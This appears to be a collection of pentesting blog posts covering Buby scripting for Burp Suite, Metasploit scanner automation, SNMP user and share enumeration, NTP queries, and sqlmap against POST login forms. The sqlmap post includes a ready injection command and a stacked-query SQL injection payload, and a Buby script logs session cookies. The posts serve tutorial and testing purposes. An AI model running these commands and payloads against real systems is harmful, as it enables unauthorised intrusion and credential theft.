Buby Script Basics Part 4

√ evt_http_message     
√ evt_scan_issue         
√ doActiveScan         
√ doPassiveScan         
√ excludeFromScope 
√ includeInScope       
√ isInScope
   issueAlert
   makeHttpRequest
   sendToIntruder
   sendToRepeater
   sendToSpider


In Part 3 of this series we covered the two methods with lines drawn through them (above: evt_http_message and evt_scan_issue).


In Part 4, the methods with checks next to them will be described along with code examples.

You can find sample scripts for each of these under the examples directory of the buby-script repo located Here.

includeInScope, excludeFromScope

----------------------------------------------


The code here is nothing more than two arrays. The first array, EXCLUSION_LIST, contains items we'd like to exclude from scope. The second array, INCLUSION_LIST, contains items to include.

This following portion of code contains a PREFIX array (both http and https). We perform an iteration of both and while iterating through this prefix array, we start iterating through a second list (EXCLUSION_LIST) and concatenating the prefix + host + the item in the EXCLUSION_LIST. This step is repeated for the INCLUSION_LIST. The $burp.includeInScope() method is called and we submit the concatenated value (url) to it. 

do_active_scan, do_passive_scan, isInScope

----------------------------------------------------

The def $burp.evt_proxy_message is a familiar one at this point in the series so we won't discuss this in detail. The code @@msg = nil exists solely to instantiate a global object called msg. We will need to keep an object associated with the request message (headers/body) because passive scanning requires both a request message and response message.


pre = is_https? 'https' : 'http' is just a way to define the "pre" object based on whether or not it is http or https message.


pre_bool does the same thing as the pre object but instead of http/https it is a true/false.


uri = "#{pre}://#{rhost}:#{rport}#{url}" is just the url (string concatenation). 



The last three lines of code here basically set the @@msg value. We only want to do this if it is a request. Remember, we need an object to hold the request message so that even if the current message is a response we can call both the request message and response message.

Next bit of code basically says, if this message is in scope AND is a request message, start performing an active scan. Otherwise if it is a message which is in scope but a response message then perform passive scanning. 


$burp.do_active_scan takes 4 objects
-rhost           => host value
-rport           => port value
-pre_bool    => true/false based on whether or not it is https
-message    => String value (or Java bytes), full message (request only of course)


$burp.do_passive_scan takes 5 objects

-rhost           => host value

-rport           => port value

-pre_bool    => true/false based on whether or not it is https

-@@msg    => request message, string value (or Java bytes)
-message    =>  response message, string value (or Java bytes)

Okay, next up is Part 5 of this series where we will cover the rest of the methods listed above.


Happy Hacking,


~cktricky

Buby Script Basics Part 3

In part 2 of this series we covered the "evt_proxy_message" method. In part 3 of this series we will cover the two methods shown below which have "checks" next to them.


√ evt_http_message    
√ evt_scan_issue        
   doActiveScan        
   doPassiveScan        
   excludeFromScope
   includeInScope      
   isInScope
   issueAlert
   makeHttpRequest
   sendToIntruder
   sendToRepeater
   sendToSpider

So let's cover each individually with brief explanation and a code example.

You can find sample scripts for each of these under the examples directory of the buby-script repo located Here.


EVT_HTTP_MESSAGE
---------------------------------


The following code will allow you to obtain methods exposed by the message_info object (which is a class):

The 3 separate objects that make up the param are:


tool_name => This is a string value, it is the name of the tool for which the message originated. Examples include proxy, scanner and repeater.


is_request => Boolean value (true/false), this returns true when it is a request and false when a response.


message_info => This is a class. It is an instance of the IHttpRequestResponse Java class. So there are methods such as get_comment, set_comment and getUrl exposed. 


An example of using evt_http_message can be seen here (code):

....and the result

w00t!

So what does the code actually do?

Lines 1 and 2 - Define the method and separate param into 3 separate objects.

Lines 3-5

Ln 3 If the tool the message originated from was the spider and this is NOT a request proceed to Ln 4.

Ln4 If the response status code is 200 (OK), then move to Ln 5.

Ln 5 Puts "Yo, we received a 200 FTW!" to the console.

Lines 6-9 Are closing statements/method and passing the param back up to the superclass method.


You can find another example using this method in the zlib_inflate.rb script.




EVT_SCAN_ISSUE
---------------------------


The following code will allow you obtain methods exposed by the issue object (which is a class):

Only one object is exposed, it is a class, it is called issue. Some of the methods exposed by this class are

-issue_name
-severity
-confidence
-protocol
-host
-url
-port
-issue_detail
-issue_background
-remediation_detail  
-remediation_background

The following code:

...produces:

Lets step through the code


1.  def prnt(*objs)
2.    strn, meth = objs  
3.    str = ''
4.    str << "\n#{strn}\n"
5.    str << '=' * strn.length + "\n\n"
6.    str << "#{meth}\n"
7.    puts str
8.  end


Lines 1-2 - Defines the method (prnt) and separates objs into two objects (strn, meth).


Lines 3-4 - This defines a string instance variable (str), and then proceeds to put the strn object onto it.

Lines 5-7 - The length of strn gets multiplied by '=' so that we can create the following visual....

Example:

something
=========

...then we push meth onto the string and then we "puts" or print it to the console.

Lets step through the second method "hm_prnt".


1.   def hm_prnt(*objs)
2.     strn, meth = objs
3.     str = ''
4.     str << "\n#{strn}\n"
5.     str << '=' * strn.length + "\n\n"
6.     meth.each do |itm|
7.       str << "#{itm.request_headers}\n"
8.       str << "#{itm.request_body}\n"
9.       str << "#{itm.response_headers}\n"
10.     str << "#{itm.response_body}\n"
11.    end
12.    puts str 
13 . end

Lines 1-2 - Defines the method (prnt) and separates objs into two objects (strn, meth).

Lines 3-4 - This defines a string instance variable (str), and then proceeds to put the strn object onto it. 

Lines 6-10 - We take the meth object which is an Array, we iterate thru each item in the array, convert it to a string while calling the four methods it exposes (request_headers, request_body, response.headers, and response_body). Now these methods all belong to http_messages and itm really represents the http_messages class. So when we are iterating thru this array we are really iterating thru an array containing a bunch of http_messages classes. Hopefully that makes sense.

Finally, we need to discuss the $burp.evt_scan_issue method.



1.  def $burp.evt_scan_issue(issue)
2.    meth_arry =  [
3.      'issue_name',
4.      'severity',
5.      'confidence',
6.      'protocol',
7.      'host',
8.      'url',
9.      'port',
10.     'issue_detail',
11.     'issue_background',      
12.     'remediation_detail',      
13.     'remediation_background',     
14.    ]
15.   
16.   meth_arry.each do |meth| 
17.     prnt("#{meth}", "#{issue.send("#{meth}")}")
18.   end
19.   
20.   hm_prnt('http_messages', issue.http_messages)
21. 
22. end


Line 1 - Defines the method ($burp.evt_scan_issue) and instantiates the "issue" object.


Lines 2-14  - Creates an Array called "meth_array" which consists of methods associated with the issue object instantiated on line 1.


Lines 16-18 - Iterates thru the meth_arry we created on line 2 picking out each method and then sends the method name and the method itself to prnt.


Line 20 - The http_message method attached to the issue object isn't in the meth_arry because it can't be called directly and converted to a string. This is because http_message is a an array of classes. Each class has it's own methods. So, we made a special prnt method for it called hm_prnt. 


Well that is all for Part 3 of this series. Part 4 will cover some of the other methods listed in the first part of this post. If you have any feedback please provide it so that the series can be improved upon.

Happy Hacking,


~cktricky

Buby Script Basics Part 2

In part 1 of this series, we've discussed a few options via the command line. In this part of the series, we will focus on actually writing a script. If you remember, to run the script you can type:

jruby -S buby -B burp.jar -r myscript.rb

**(myscript.rb is your buby script)**

I've provided some sample scripts Here .

Lets cover one of the most used methods (in my opinion/experience) exposed by buby called "evt_proxy_message". I'd like to cover some of the objects exposed by this method and to best accomplish this task we will step through the cookie_snatch.rb script located Here.

So here is the code from "cookie_snatch.rb"

def $burp.evt_proxy_message(*param)
msg_ref, is_req, rhost, rport, is_https, http_meth, url, resourceType, status, req_content_type, message, action = param
  file = ('cookiez.txt')
  prefix = is_https ? "https://" : "http://"
  rurl = "#{prefix}://#{rhost}:#{rport}"
  if is_req == false
    spmsg = message.split("\n\n")
    short_msg = "#{spmsg[0]}"
    mitem = short_msg.match(/^Set-Cookie:.+$/) 
      if $burp.in_scope?(rurl)  
        if !mitem.nil?
          File.open(file, "a") {|f| f.write("#{mitem}")} 
        end
      end
  end   
 super(*param)
end

On the second line you see that we convert *param to 12 separate objects. Here is a brief explanation of each:

msg_ref

===== 

This is the request/response number. It is nothing more than a tracking number.

is_req

====

This is a boolean value, returns either true or false. If it is a request, this returns true, else, false.

rhost

===

This is your target's hostname ONLY. 

It does NOT include the prefix (http/s), rport (80/443), or path (/directory/something.php).

rport

===

This is the remote port value (80/443/etc)

is_https

======

Returns true when https and false when http.

http_meth

=======

This is the method (GET/POST/etc)

url

==

This is the path portion of a URL. Not the full URL itself.

Example: If the target was http://www.target.com/mydir/test.aspx then url would be 

/mydir/test.aspx

resourceType

==========

The filetype of the requested resource, or nil if the resource has no filetype

status

====

The HTTP status code returned by the server. This value is nil for request messages.

req_content_type

============

String value, content-type header returned by the server. (nil for requests)

message

======

String value, the entire message, regardless of request/response, contains headers and body.

action

====

There are 4 types of actions 

ACTION_FOLLOW_RULES (0, this is the default)

ACTION_DO_INTERCEPT (1, direction to intercept a msg)

ACTION_DONT_INTERCEPT (2, don't intercept the msg)

ACTION_DROP (3, drops the in/outbound msg)

Example of using action (folks seem to have some confusion at times regarding this):

if rhost == "www.example.com

action[0] = 2

end

The above code logic is, if the rhost value is www.example.com then don't intercept. The full code can be found in dont_intercept.rb in the Buby-Scripts repo.

Back to the code:

Lines 3-5

Ln 3 is assigning cookiez.txt to 'file'.

Ln 4 is evaluating the boolean value behind is_https?. If it is true then prefix = https:// and if false, http://.

Ln 5 is creating a rurl object which consists of a string concatenation of prefix, rhost and rport.

Lines 6-9

Ln 6 is evaluating if is_req equals false (meaning it is a response). So unless it is a response, the code following it won't be run.

Ln 7 spmsg (split message) is the message string split by two newlines. This separates the headers from the body. Array item 0 of spmsg (spmsg[0]) is going to be the headers and spmsg[1] will be the body.

Ln 8 short_msg is assigned to spgmsg[0], converted to a string.

Ln 9 assigns mitem to a the Set-Cookie portion of the response header.

Lines 10-12

Ln 10 uses the method in_scope?, which takes the full URL. This is the reason for creating the rurl object on line 5. If the response is from a site that is in scope, we evaluate the next 2 lines of code.

Ln 11 basically if mitem (the Set-Cookie key, value) isn't nil, then we evaluate line 12.

Ln 12 Open the file (file is created on line 3 and it is cookiez.txt), and write to it. Because we have assigned "a" instead of "w", the cookies will be appended versus overwritten.

The rest of the code terminates "if" statements and sends the params up to the super class's version of evt_proxy_msg. This super(*params) can be nice when you'd like to modify data prior to it's arrival to Burp.

Okay, well hopefully this was a good start for those interested in extending Burp's capabilities.

Part 3 in this series will cover other useful methods exposed by Buby.

~Happy Hacking

cktricky

Buby Script Basics Part 1

For those of you who are new to Buby, it is a platform to write Ruby based extensions for the Burp Suite API and I'm going to attempt to cover some of the basics.  First let me say thank you to Tebo for providing his insight. Tebo is the author of the Buby.kicks_ass => true article. Additionally, thank you Eric Monti the creator of Buby. Buby's homepage is located Here .

Installing:

Although you can write Ruby code, this is a JRuby Gem. What does this mean? It means that the code execution environment is JRuby (Java+Ruby) and the Gem should be installed in the JRuby environment.

Lets install JRuby first:

Next, install the Buby Gem.

Basic example of running a script:

The options you see explained

jruby -S buby  => runs the jruby environment leveraging the buby gem

-i  => interactive, this means you can interact with Burp from the console.

-B => this is the location of your Burp jar file

-r => The script you'd like to run. This is an easy way to run the buby code you've created.

Finally, an example of sending a command to burp via the -i (interactive option). Here we produce an alert "Hello World".

Pre-command

Command

Post Command

Okay so that wraps up Part 1 of Buby Basics.

If you'd like some scripts to mess around before Part 2, you can find some scripts I put together Here.

~Happy Hacking

cktricky

Running Auxiliary Modules Against Multiple Hosts the Smart Way Part 2

In the previous post I talked about using the db_service -R to use the information in your database/workspace to throw an auxiliary module at hosts that had port 443 open.

Let's take this one step further...and throw multiple aux modules against the hosts that have port 80 open.

I'm going to use a resource script to do this. The cool thing about resource scripts is that you dont have to do them just at startup. You can do them anytime on the console.

msf auxiliary(options) > resource
Usage: resource path1 path2 ...

Run the commands stored in the supplied files.

In this case i want to run two modules against every port that has 80 open. Here's some code to do it:

set THREADS 10

[ruby] **#replace [ and ] with their respective "<" or ">"**'

#start with an array to hold our modules we want to run
modules = [
"auxiliary/scanner/http/http_version",
"auxiliary/scanner/http/options",]

#another array for our hosts
hosts = []
framework.db.services.each do |service| 
 if service.port == 443 
  hosts << service.host.address
 end
end

#loop through each module in the list
modules.each do |blah|
 self.run_single("use #{blah}")
  puts ("\nRunning Auxiliary Module #{blah}")
                #for each host with 443 open, set appropriate configs and run the module against it
  hosts.each do |rhost|
          self.run_single("set RHOSTS #{rhost}")
   self.run_single("set RPORT 443") #change to the port above
   self.run_single("set SSL TRUE")
          self.run_single("run")
  end 
end
[/ruby] **#replace [ and ] with their respective "<" or ">"**

Running it:

msf auxiliary(options) > resource /home/user/.msf3/aux_do_dbhosts.rc 
resource (/home/user/.msf3/aux_do_dbhosts.rc)> set THREADS 10
THREADS => 10
[*] resource (/home/user/.msf3/aux_do_dbhosts.rc)> Ruby Code (962 bytes)

Running Auxiliary Module auxiliary/scanner/http/http_version
RHOSTS => 192.168.1.10
RPORT => 443
SSL => TRUE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.106
RPORT => 443
SSL => TRUE
[*] 192.168.1.106 nginx/0.6.32 ( 302-http://192.168.1.106/ )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.107
RPORT => 443
SSL => TRUE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.135
RPORT => 443
SSL => TRUE
[*] 192.168.1.135 Apache/2.2.11 (Ubuntu) mod_ssl/2.2.11 OpenSSL/0.9.8g Phusion_Passenger/2.2.15 ( Powered by Phusion Passenger (mod_rails/mod_rack) 2.2.15 )
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.168
RPORT => 443
SSL => TRUE
[*] 192.168.1.168 Apache/2.2.8 (Ubuntu) mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2ubuntu5.3 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_wsgi/1.3
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.229
RPORT => 443
SSL => TRUE
[*] 192.168.1.229 Apache/2.2.9 (Debian) DAV/2 SVN/1.4.2 PHP/5.3.2-0.dotdeb.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.2 Perl/v5.8.8 ( Powered by PHP/5.3.2-0.dotdeb.1 )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Running Auxiliary Module auxiliary/scanner/http/options
RHOSTS => 192.168.1.10
RPORT => 443
SSL => TRUE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
RHOSTS => 192.168.1.100
RPORT => 443
SSL => TRUE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
...SNIP...YOU GET THE IDEA...

-CG

thanks to hdm and jcran

Running Auxiliary Modules Against Multiple Hosts the Smart Way

So a coulple of cool updates lately to metasploit framework. If you check out db_services you'll see a super handy feature of "-R"

msf auxiliary(http_version) > db_services -h

Usage: db_services [-h|--help] [-u|--up] [-a ] [-r ] [-p ] [-n ] [-o ]

 -a   Search for a list of addresses
 -c     Only show the given columns
 -h,--help         Show this help information
 -n   Search for a list of service names
 -p   Search for a list of ports
 -r      Only show [tcp|udp] services
 -u,--up           Only show services which are up
 -o          Send output to a file in csv format
 -R,--rhosts       Set RHOSTS from the results of the search

Available columns: created_at, info, name, port, proto, state, updated_at

In the past you could list your hosts by port (db_services -p 80) but I want to be able to USE those hosts and throw modules at them, bring in the -R option

msf auxiliary(http_version) > use auxiliary/scanner/http/options
msf auxiliary(options) > db_services -R -p 80

Services
========

host           port  proto  name  state  info
----           ----  -----  ----  -----  ----
192.168.1.245  80    tcp    http  open   Apache/2.2.3 (CentOS) ( Powered by PHP/5.1.6 )
192.168.1.246  80    tcp    http  open   Apache/2.2.3 (CentOS)
192.168.1.247  80    tcp    http  open   Apache/2.2.12 (Ubuntu)
192.168.1.248  80    tcp    http  open   lighttpd/1.5.0
192.168.1.249  80    tcp    http  open   Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.4 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Phusion_Passenger/2.2.11
192.168.1.251  80    tcp    http  open   Apache
192.168.1.254  80    tcp    http  open   Apache/2.2.3 (CentOS)

RHOSTS => file:/tmp/msf-db-rhosts-20110423-27121-10wiuni-0

msf auxiliary(options) > run

[*] Scanned 1 of 7 hosts (014% complete)
[*] Scanned 2 of 7 hosts (028% complete)
[*] 192.168.1.247 allows GET,HEAD,POST,OPTIONS methods
[*] Scanned 3 of 7 hosts (042% complete)
[*]192.168.1.248 allows OPTIONS, GET, HEAD, POST methods
[*] Scanned 4 of 7 hosts (057% complete)
[*] 192.168.1.249 allows GET,HEAD,POST,OPTIONS,TRACE methods
[*] Scanned 5 of 7 hosts (071% complete)
[*] Scanned 6 of 7 hosts (085% complete)
[*] Scanned 7 of 7 hosts (100% complete)
[*] Auxiliary module execution completed

-CG

Data Driven Pentests...Don't You mean Vulnerability Assessments?

So first a disclaimer, i didnt listen to the referenced podcast, this is based solely of this blog post:

http://newschoolsecurity.com/2011/04/data-driven-pen-tests

So I’m listening to the “Larry, Larry, Larry” episode of the Risk Hose podcast, and Alex is talking about data-driven pen tests. I want to posit that pen tests are already empirical. Pen testers know what techniques work for them, and start with those techniques.

What we could use are data-driven pen test reports. “We tried X, which works in 78% of attempts, and it failed.”

We could also use more shared data about what tests tend to work.

Thoughts?

Dre's response to the post was surprising to me, he listed a bunch of tools that seem to do correlating of pentest results into a portal so you can trend over time. Cool idea, i'll give the people that. But to me when we start jumping into repeatable metrics driven stuff we are in Vulnerability Assessment land, not pentesting land.

Here is the comment I left:

I like the idea and i think it could be useful.

However, they need to drop the pentest part. you are solidly into the vulnerability assessment part of things when you are talking about “ok, i tried 1,2,3,4,5 and 1 & 3 worked” ok on to the next set of tests… thats vulnerability assessment (with exploitation if you want to get technical) and not pentesting.

pentesting is about that human looking at the problem and figuring out how to break it, not some scanner, thats going to be very hard to standardize and put hard numbers on and i dont think its going to be possible without tying up your tester’s time with bullshit.

I'm all for "repeatable" pentests. You should have a methodology for each type of test, but when you are paying for human's time you should be paying for them to go after the site like a human would and not how a scanner would or not in a way where i'm worried about religiously following some checklist because if i don't the metrics get all fucked up. Your pentest should come after you have thrown the kitchen sink at it scanner wise.

as an added bonus this post was right below the new school post in my Google reader:

http://coding-insecurity.blogspot.com/2011/04/developing-good-methodology-part-3.html

This post and really any methodology document you will ever read or write will have gaps, because no document on this subject can ever really be 100% all inclusive of every vulnerability and the myriad of variations that exist for many of these.

I think it drives the point home as well.

-CG

New SNMP Metasploit Modules

my new favorite modules (for today) are the snmp_enumusers and snmp_enumshares modules that work against windows hosts that have snmp running.

msf > use auxiliary/scanner/snmp/
use auxiliary/scanner/snmp/aix_version
use auxiliary/scanner/snmp/snmp_enumshares
use auxiliary/scanner/snmp/cisco_config_tftp
use auxiliary/scanner/snmp/snmp_enumusers
use auxiliary/scanner/snmp/cisco_upload_file
use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/snmp_set

msf > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(snmp_login) > set RHOSTS 192.168.100.119
RHOSTS => 192.168.100.119
msf auxiliary(snmp_login) > run

[+] SNMP: 192.168.100.119 community string: 'public' info: 'Hardware: x86 Family 6 Model 23 Stepping 6 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free)'
[+] SNMP: 192.168.100.119 community string: 'private' info: 'Hardware: x86 Family 6 Model 23 Stepping 6 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free)'
[*] Validating scan results from 1 hosts...
[*] Host 192.168.100.119 provides READ-WRITE access with community 'private'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(snmp_login) > use auxiliary/scanner/snmp/snmp_enumusers
msf auxiliary(snmp_enumusers) > info
...SNIP...
Description:
This module will use LanManager OID values to enumerate local user accounts on a Windows system via SNMP

msf auxiliary(snmp_enumusers) > set RHOSTS 192.168.100.119
RHOSTS => 192.168.100.119
msf auxiliary(snmp_enumusers) > run

[+] 192.168.100.119 Found Users: ASPNET, Administrator, Guest, IUSR_SRV, IWAM_SRV, SUPPORT_388945a0
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(snmp_enumusers) > use auxiliary/scanner/snmp/snmp_enumshares
msf auxiliary(snmp_enumshares) > info
...SNIP...
Description:
This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP

msf auxiliary(snmp_enumshares) > set RHOSTS 192.168.100.119
RHOSTS => 192.168.100.119
msf auxiliary(snmp_enumshares) > run

[+] 192.168.100.119
backup - (C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\backup)
MetaInfoBack - (C:\WINDOWS\system32\inetsrv\MetaInfoBack)
NewBackup2 - (J:\NewBackup2)
SharepointBackup - (K:\SharepointBackup)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

sqlmap with POST requests

Notes for sqlmap and POST requests since every f**king tutorial only covers GETs

options you'll want to use

-u URL, --url=URL <-- Target url
--method=METHOD <-- HTTP method, GET or POST (default GET)
--data=DATA <-- Data string to be sent through POST
-p TESTPARAMETER <-- Testable parameter(s)
--prefix=PREFIX <-- Injection payload prefix string

--postfix=POSTFIX <-- Injection payload postfix string

--dbms=DBMS <--Force back-end DBMS to this value

*--dbms= if sqlmap is sucking

we'll assume we have a simple post request


user@ubuntu:~/pentest/sqlmap-dev$ python sqlmap.py -u "http://192.168.1.100/fancyshmancy/login.aspx" --method POST --data "usernameTxt=blah&passwordTxt=blah&submitBtn=Log+On" -p "usernameTxt" --prefix="')" --dbms=mssql -v 2

--method to pass the POST option

--data to pass the paramaters that are required for the POST

-p to pass the injectable field, so in this case the username field (usernameTxt)

--prefix to pass what needs to be passed before we can inject. we had to issue a tick ( ' ) and right parenthesis ( ) ) to close out the query

--dbms to tell it the backend was mssql

this yields us an sqlmap query like so:

Place: POST
Parameter: usernameTxt
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: usernameTxt=blah'); WAITFOR DELAY '0:0:5';-- AND ('yTwo'='yTwo&passwordTxt=blah&submitBtn=Log+On
---

I forgot my NTP stuff, so here's more notes on it

yeah what the title says, for some reason the NTP module wasn't working for me in Metasploit so i had to remember how to use the NTP tools to pull some info.

here are my notes:

http://www.eecis.udel.edu/~mills/ntp/html/ntpdc.html
ntpdc -c sysinfo 192.168.1.205
ntpdc -c monolist 192.168.1.205
ntpdc -c listpeers 192.168.1.205
ntpdc -c peers 192.168.1.205
ntpdc -c reslist 192.168.1.205

http://www.eecis.udel.edu/~mills/ntp/html/ntpq.html
ntpq 192.168.1.205
-> version
-> host
-> readlist
-> lpeers
-> hostnames
-> keytype
-> ntpversion
-> associations
-> pstatus [#]

ntpq> help
ntpq commands:
addvars debug lopeers passociations rl
associations delay lpassociations passwd rmvars
authenticate exit lpeers peers rv
cl help mreadlist poll showvars
clearvars host mreadvar pstatus timeout
clocklist hostnames mrl quit version
clockvar keyid mrv raw writelist
cooked keytype ntpversion readlist writevar
cv lassociations opeers readvar
ntpq>

chris@notbt:/pentest$ ntpq 192.168.1.60
ntpq> lpeers
remote refid st t when poll reach delay offset jitter
==============================================================================
*computerville.wxy.suk 192.168.1.108 2 u 338 1024 377 35.327 -0.702 1.030

ntpq> version
ntpq 4.2.4p8@1.1612-o Fri Apr 9 00:28:48 UTC 2010 (1)

ntpq> host
current host is 192.168.1.60

ntpq> readlist
assID=0 status=0658 leap_none, sync_ntp, 5 events, event_8,
version="ntpd 4.2.6p2@1.2194-o Sun Oct 17 02:04:37 UTC 2010 (1)", processor="x86_64", system="Linux/2.6.35.4-x86_64-linode16", leap=00,strasuk=3, precision=-20, rootdelay=58.612, rootdisp=86.969, refid=1.2.3.102,
reftime=d12a932f.e1697c36 Wed, Mar 16 2011 1:38:55.880,
clock=d12a98c9.eee329a7 Wed, Mar 16 2011 2:02:49.933, peer=18290,
tc=10, mintc=3, offset=-0.702, frequency=-16.787, sys_jitter=1.061, clk_jitter=0.881, clk_wander=0.144


ntpq> hostnames
hostnames being shown


ntpq> keytype
keytype is MD5

ntpq> ntpversion
NTP version being claimed is 2

ntpq> associations

ind assID status conf reach auth condition last_event cnt
===========================================================
1 18290 964a yes yes none sys.peer 4

ntpq> pstatus 18290
assID=18290 status=964a reach, conf, sel_sys.peer, 4 events, event_10,
srcadr=computerville.wxy.suk.de, srcport=123, dstadr=192.168.1.60,
dstport=123, leap=00, strasuk=2, precision=-20, rootdelay=22.964,
rootdisp=33.768, refid=192.168.1.108,reftime=d12a9360.1f34b00f Wed, Mar 16 2011 1:39:44.121,
rec=d12a976a.e177c84f Wed, Mar 16 2011 1:56:58.880, reach=377,
unreach=0, hmode=3, pmode=4, hpoll=10, ppoll=10, headway=0, flash=00 ok,
keyid=0, offset=-0.702, delay=35.327, dispersion=19.528, jitter=1.030,xleave=0.050, filtdelay= 35.56 35.33 35.47 35.69 35.81 35.42 35.38 35.58,
filtoffset= -0.85 -0.70 -0.86 -1.42 -1.63 -1.90 -2.42 -1.97,
filtdisp= 0.00 16.25 32.00 47.93 63.45 79.40 95.69 111.96

chris@notbt:/pentest$ ntpdc -c monlist 192.168.1.60
remote address port local address count m ver code avgint lstint
===============================================================================
computerville.wxy.suk.de 123 192.168.1.60 6832 4 4
90 1044 476

chris@notbt:/pentest$ ntpdc -c sysinfo 192.168.1.60
system peer: computerville.wxy.suk.de
system peer mode: client
leap indicator: 00
strasuk: 3
precision: -20
root distance: 0.05861 s
root dispersion: 0.08899 s
reference ID: [1.2.3.102]
reference time: d12a932f.e1697c36 Wed, Mar 16 2011 1:38:55.880
system flags: auth monitor ntp kernel stats
jitter: 0.001053 s
stability: 0.000 ppm
broadcastdelay: 0.000000 s
authdelay: 0.000000 s

chris@notbt:/pentest$ ntpdc -c listpeers 192.168.1.60
client computerville.wxy.suk.de

chris@notbt:/pentest$ ntpdc -c peers 192.168.1.60
remote local st poll reach delay offset disp
=======================================================================
*computerville.wxy.suk 192.168.1.60 2 1024 377 0.03532 -0.000702 0.13974

chris@notbt:/pentest$ ntpdc -c reslist 192.168.1.60
address mask count flags
=====================================================================
0.0.0.0 0.0.0.0 6846 nomodify, nopeer
some-domain 255.255.255.255 0 none
some-domain 255.255.255.255 0 ignore
osafs.org 255.255.255.255 0 ignore
:: :: 0 nomodify, nopeer
ip6-localhost ffff:ffff:ffff: 0 ignore
fe80::fcfd:b2ff ffff:ffff:ffff: 0 ignore